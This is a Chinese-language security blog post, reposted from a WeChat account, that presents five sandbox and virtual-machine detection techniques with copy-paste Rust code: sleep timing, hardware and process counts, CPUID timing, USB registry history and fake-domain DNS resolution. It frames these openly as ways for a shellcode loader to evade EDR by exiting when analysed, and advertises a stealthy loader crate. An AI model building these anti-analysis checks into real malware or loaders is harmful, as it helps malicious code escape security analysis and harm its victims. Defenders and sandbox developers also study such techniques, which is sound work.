常见的检测沙箱环境的方法

admin 2025-12-25 03:05:56 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了对抗EDR的多种沙箱环境检测方法,包括Sleep时间检测、系统信息对比、CPUID耗时分析、USB历史记录查询及虚假域名探测。文章通过Rust代码示例演示了实现细节,旨在帮助识别分析环境并动态退出,以规避沙箱检测。 综合评分: 90 文章分类: 红队,恶意软件,免杀,安全开发


cover_image

常见的检测沙箱环境的方法

原创

小和安全

小和安全

2025年12月23日 10:37 江苏

本文所分享的技术,已同步更新到rust模块,公众号后台回复loader获取下载地址,目前支持以下功能:

功能特性

  • 提供了多种加载shellcode的方式;
  • 提供了多种对抗机制,包括沙箱检测、多种混淆机制、手动解析PEB机制;
  • crate中所有函数都是通过手动解析PEB导入的,增强了隐蔽性;

前言

在对抗EDR的检测机制中,当我们绕过了静态检测,EDR还会提供动态检测,或者上传到云沙箱进行检测。

本文主要介绍几种识别当前运行环境是否为沙箱的方法,当检测为沙箱时,可以直接退出程序,让分析者拿不到更多信息。

检测沙箱环境方法

(1)检测sleep函数执行的时间

一些沙箱为了加快检测速度,会hook掉sleep函数,快速跳过它,我们可以通过检测sleep函数的实际执行时间,来判定是否处于沙箱环境中。

比如我们先获取当前的时间戳start,再执行sleep(5000),也就是等待5秒,然后计算当前时间戳end,最后计算end-start的值,和5秒来比较,判断是否真的sleep了5秒钟。

首先我们通过QueryPerformanceFrequencyFn函数来检测目标主机是否支持高分辨率性能计数器,根据官方文档,Windows XP及以上版本是一定支持的:

然后再通过QueryPerformanceCounter函数计算调用sleep前后的时间戳,计算它们的差值,再和sleep函数的入参(我们定义的sleep时间)进行比较,判定真正的时间差是否和我们希望sleep的时间相等。完整代码及示例如下(可以直接复制粘贴使用):

use shellcode_loader::iat::get_function_address;type QueryPerformanceCounter=extern "system" fn(input: *mut i64) -> i32;type QueryPerformanceFrequency=extern "system" fn(input: *mut i64) -> i32;type Sleep=extern "system" fn(input: u32) -> ();pub fn is_sandbox_sleep() -> bool {    let mut flag:bool=false;    unsafe {        let query_performance_counter:QueryPerformanceCounter=std::mem::transmute(get_function_address("kernel32.dll", "QueryPerformanceCounter").unwrap());        let query_performance_frequency:QueryPerformanceFrequency=std::mem::transmute(get_function_address("kernel32.dll", "QueryPerformanceFrequency").unwrap());        let sleep:Sleep=std::mem::transmute(get_function_address("kernel32.dll", "Sleep").unwrap());        let mut frequency:i64=0;        let res_1=query_performance_frequency(&mut frequency);        if res_1!=0 && frequency!=0 {            let mut start:i64=0;            let mut end:i64=0;            query_performance_counter(&mut start);            sleep(2000);            query_performance_counter(&mut end);            let diff=((((end-start) as f64)/(frequency as f64)) as i64)*1000;            if 2000-diff>200{                flag=true;            }        }    }    flag}fn main(){    println!("{}", is_sandbox_sleep());}

(2)根据系统信息检测

沙箱为了节约资源,节省成本,在一些硬件配置上面可能不如真实的主机,比如:

  • 真实主机的CPU可能有4个甚至更多,而沙箱或虚拟机可能只有1个或2个;
  • 真实主机的内存大小通常大于8GB,而沙箱或虚拟机可能更小,只有4GB;
  • 真实主机的硬盘大小通常大于80GB,而沙箱或虚拟机可能只有50GB或更小;
  • 真实主机上一般会同时存在上百个进程,而沙箱或虚拟机可能只有几十个;

我们就可以根据这些信息来判断是否处于沙箱环境中,而rust有一个sysinfo库可以直接读取到这些系统信息。

需要先执行下面一行代码导入外部模块再使用。

cargo add sysinfo

完整代码如下(CPU数量小于4,内存小于8GB,硬盘小于100GB,进程数量少于60我们判为沙箱环境,可以自己改参数):

use&nbsp;std::ffi::OsStr;use&nbsp;sysinfo::{System,Disks};fn&nbsp;count_cpus()->u32{&nbsp; &nbsp;&nbsp;//cpu数量,单位:个&nbsp; &nbsp; let cpus=System::physical_core_count();&nbsp; &nbsp;&nbsp;match&nbsp;cpus {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Some(res)=>{return&nbsp;res&nbsp;as&nbsp;u32;},&nbsp; &nbsp; &nbsp; &nbsp; None=>{return&nbsp;0;}&nbsp; &nbsp; }}fn&nbsp;count_rams(sys:&System)->u32{&nbsp; &nbsp;&nbsp;//内存大小,单位:GB&nbsp; &nbsp; ((sys.total_memory()&nbsp;as&nbsp;u64)/(1024*1024*1024))&nbsp;as&nbsp;u32}fn&nbsp;count_disk()->u32{&nbsp; &nbsp;&nbsp;//硬盘大小,单位:GB&nbsp; &nbsp; let disks=Disks::new_with_refreshed_list();&nbsp; &nbsp;&nbsp;for&nbsp;disk in disks.list(){&nbsp; &nbsp; &nbsp; &nbsp; let name=disk.name();&nbsp; &nbsp; &nbsp; &nbsp; let file_system=disk.file_system();&nbsp; &nbsp; &nbsp; &nbsp; let dst_file_name=OsStr::new("Windows");&nbsp; &nbsp; &nbsp; &nbsp; let dst_file_system=OsStr::new("NTFS");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;name==dst_file_name&&file_system==dst_file_system{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;((disk.total_space()&nbsp;as&nbsp;u64)/(1024*1024*1024))&nbsp;as&nbsp;u32;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;100}fn&nbsp;count_proc(sys:&System)->u32{&nbsp; &nbsp;&nbsp;//进程数量,单位:个&nbsp; &nbsp; sys.processes().len()&nbsp;as&nbsp;u32}pub&nbsp;fn&nbsp;is_sandbox(cpus_count:u32,rams_size:u32,proc_count:u32,disk_size:u32)->bool{&nbsp; &nbsp; let mut sys=System::new();&nbsp; &nbsp; sys.refresh_all();&nbsp; &nbsp; let cpus=count_cpus();&nbsp; &nbsp; let rams=count_rams(&sys);&nbsp; &nbsp; let proc=count_proc(&sys);&nbsp; &nbsp; let disk=count_disk();&nbsp; &nbsp;&nbsp;return&nbsp;cpus<cpus_count || rams<rams_size || proc<proc_count || disk<disk_size}fn&nbsp;main(){&nbsp; &nbsp;&nbsp;const&nbsp;MAX_CPU_COUNT:u32=4;&nbsp; &nbsp;&nbsp;const&nbsp;MAX_RAM_SIZE:u32=8;&nbsp; &nbsp;&nbsp;const&nbsp;MAX_PROCESS_COUNT:u32=100;&nbsp; &nbsp;&nbsp;const&nbsp;MAX_DISK_SIZE:u32=60;&nbsp; &nbsp; println!("isSandbox?{}!",shellcode_loader::sandbox::is_sandbox(MAX_CPU_COUNT, MAX_RAM_SIZE, MAX_PROCESS_COUNT, MAX_DISK_SIZE));}

(3)根据CPUID的执行时间检测

cpuid是一个汇编指令,返回cpu相关信息。

在物理机执行cpuid指令,会直接去查询cpu硬件,获取信息。

而在沙箱、虚拟机执行cpuid指令,则会经过以下几个步骤:

cpuid -> VM Exit -> 询问Hypervisor如VMWare ->VM Entry -> 返回结果,这个过程很显然比直接查询cpu硬件信息要慢。

完整代码如下:


use&nbsp;std::arch::x86_64::{_rdtsc, __cpuid};pub fn&nbsp;detect_vm_via_cpuid() -> bool {&nbsp; &nbsp; unsafe {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;v72 =&nbsp;_rdtsc(); &nbsp; &nbsp;&nbsp;// 1. 获取开始时间戳&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;__cpuid(0); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 2. 执行cpuid&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;v81 =&nbsp;_rdtsc(); &nbsp; &nbsp;&nbsp;// 3. 获取结束时间戳&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;elapsed = v81.wrapping_sub(v72); &nbsp;// 4. 计算耗时(结束-开始)&nbsp; &nbsp; &nbsp; &nbsp; elapsed >&nbsp;0x3E8&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 5. 如果耗时 > 1000周期 → 虚拟机&nbsp; &nbsp; }}fn&nbsp;main() {&nbsp; &nbsp;&nbsp;let&nbsp;result =&nbsp;detect_vm_via_cpuid();&nbsp; &nbsp; println!("VM detected: {}", result);}

(4)历史信息检测

真实机器可能曾经插入过USB设备,这会在注册表中留下信息,查看以下注册表:

# USB设备历史记录HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR

如果没有找到信息,说明没有插入过USB设备,可能就是沙箱或虚拟机。

完整代码如下:


use&nbsp;shellcode_loader::iat::get_function_address;type RegOpenKeyExW = unsafe extern&nbsp;"system"&nbsp;fn(isize, *const&nbsp;u16, u32, u32, *mut isize) ->&nbsp;u32;type RegCloseKey = unsafe extern&nbsp;"system"&nbsp;fn(isize) ->&nbsp;u32;type RegQueryInfoKeyW = unsafe extern&nbsp;"system"&nbsp;fn(&nbsp; &nbsp; isize, *mut u16, *mut u32, *mut u32, *mut u32, *mut u32,&nbsp;&nbsp; &nbsp; *mut u32, *mut u32, *mut u32, *mut u32, *mut u32, *mut u64) ->&nbsp;u32;const&nbsp;HKEY_LOCAL_MACHINE: isize =&nbsp;0x80000002;const&nbsp;KEY_READ: u32 =&nbsp;0x20019;const&nbsp;ERROR_SUCCESS: u32 =&nbsp;0;pub fn detect_sandbox_via_usbstor() ->&nbsp;bool&nbsp;{&nbsp; &nbsp; unsafe {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 获取函数地址&nbsp; &nbsp; &nbsp; &nbsp; let reg_open_key: RegOpenKeyExW = std::mem::transmute(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;get_function_address("advapi32.dll",&nbsp;"RegOpenKeyExW").unwrap()&nbsp; &nbsp; &nbsp; &nbsp; );&nbsp; &nbsp; &nbsp; &nbsp; let reg_close_key: RegCloseKey = std::mem::transmute(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;get_function_address("advapi32.dll",&nbsp;"RegCloseKey").unwrap()&nbsp; &nbsp; &nbsp; &nbsp; );&nbsp; &nbsp; &nbsp; &nbsp; let reg_query_info: RegQueryInfoKeyW = std::mem::transmute(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;get_function_address("advapi32.dll",&nbsp;"RegQueryInfoKeyW").unwrap()&nbsp; &nbsp; &nbsp; &nbsp; );&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 打开注册表键&nbsp; &nbsp; &nbsp; &nbsp; let mut hkey: isize =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp; let key_path =&nbsp;"SYSTEM\\CurrentControlSet\\Enum\\USBSTOR\0";&nbsp; &nbsp; &nbsp; &nbsp; let key_path_wide: Vec<u16> = key_path.encode_utf16().collect();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;reg_open_key(HKEY_LOCAL_MACHINE, key_path_wide.as_ptr(),&nbsp;0, KEY_READ, &mut hkey) != ERROR_SUCCESS {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;true; &nbsp;// 无法打开 → 可能是沙箱&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 查询子键数量&nbsp; &nbsp; &nbsp; &nbsp; let mut subkey_count: u32 =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;reg_query_info(hkey, std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &mut subkey_count, std::ptr::null_mut(), std::ptr::null_mut(),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; std::ptr::null_mut(), std::ptr::null_mut()) != ERROR_SUCCESS {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; let _ =&nbsp;reg_close_key(hkey);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;true; &nbsp;// 查询失败 → 可能是沙箱&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 关闭注册表键&nbsp; &nbsp; &nbsp; &nbsp; let _ =&nbsp;reg_close_key(hkey);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 检测逻辑:沙箱通常没有USB设备&nbsp; &nbsp; &nbsp; &nbsp; subkey_count ==&nbsp;0&nbsp;&nbsp;// 没有USB设备 → 可能是沙箱 → true&nbsp; &nbsp; }}fn&nbsp;main()&nbsp;{&nbsp; &nbsp; let is_sandbox =&nbsp;detect_sandbox_via_usbstor();&nbsp; &nbsp; println!("沙箱检测结果: {}", is_sandbox);}

(5)虚假域名探测

一些沙箱为了尽可能检测多的特征,你的木马需要什么信息它都给你返回,没有它甚至会编造一个给你,我们可以利用这一点,查询一个根本不存在的域名,如果返回了一个ip,那说明是沙箱环境,完整代码如下:


use&nbsp;std::net::ToSocketAddrs;/// 解析域名获取第一个IP地址(字符串形式)/// 成功:返回 "ip:port" 格式的字符串/// 失败:返回空字符串 ""pub fn&nbsp;resolve_domain(domain: &str) ->&nbsp;String&nbsp;{&nbsp; &nbsp;&nbsp;// 添加端口号以进行解析&nbsp; &nbsp;&nbsp;let&nbsp;addr_with_port = format!("{}:80", domain);&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; match addr_with_port.to_socket_addrs() {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Ok(mut addrs) => {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;let&nbsp;Some(addr) = addrs.next() {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 返回 "ip:port" 格式&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; addr.to_string()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"".to_string()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Err(_) =>&nbsp;"".to_string()&nbsp; &nbsp; }}/// 只返回IP地址(不带端口)pub fn&nbsp;resolve_domain_ip_only(domain: &str) ->&nbsp;String&nbsp;{&nbsp; &nbsp;&nbsp;let&nbsp;addr_with_port = format!("{}:80", domain);&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; match addr_with_port.to_socket_addrs() {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Ok(mut addrs) => {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;let&nbsp;Some(addr) = addrs.next() {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; addr.ip().to_string()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"".to_string()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Err(_) =>&nbsp;"".to_string()&nbsp; &nbsp; }}/// 检测沙箱的DNS欺骗pub fn&nbsp;is_sandbox_dns() -> bool {&nbsp; &nbsp;&nbsp;//编一个根本不存在的域名&nbsp; &nbsp;&nbsp;let&nbsp;fake_domain =&nbsp;"this-domain-definitely-does-not-exist-12345.test";&nbsp; &nbsp; !resolve_domain(fake_domain).is_empty()}fn&nbsp;main() {&nbsp; &nbsp; println!("isSandbox:{}",is_sandbox_dns());}

其它方法

当然还有很多其它方法检测沙箱环境

  • 通过Recent检测最近使用的文档,沙箱通常是空的;
  • 检测屏幕分辨率,沙箱的分辨率可能比较低或者是固定值;
  • 检测系统已经运行的时间,沙箱可能刚开机,这个值很小,或者值特别大;
  • 检测剪切板是否有内容,沙箱可能剪切板是空的;
  • 检测回收站是否有文件,沙箱一般都是空的;
  • 用netsh wlan show profiles检测WiFi连接记录,沙箱可能都识别为有线连接导致这一项信息是空的;

等等,这些方法也可以检测沙箱环境,但是偶然性相对较高,本文分享的5种方法能适配的环境更广泛。

本文所分享的技术,已同步更新到rust模块,公众号后台回复loader获取下载地址。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:小和安全 小和安全《常见的检测沙箱环境的方法》

评论:0   参与:  6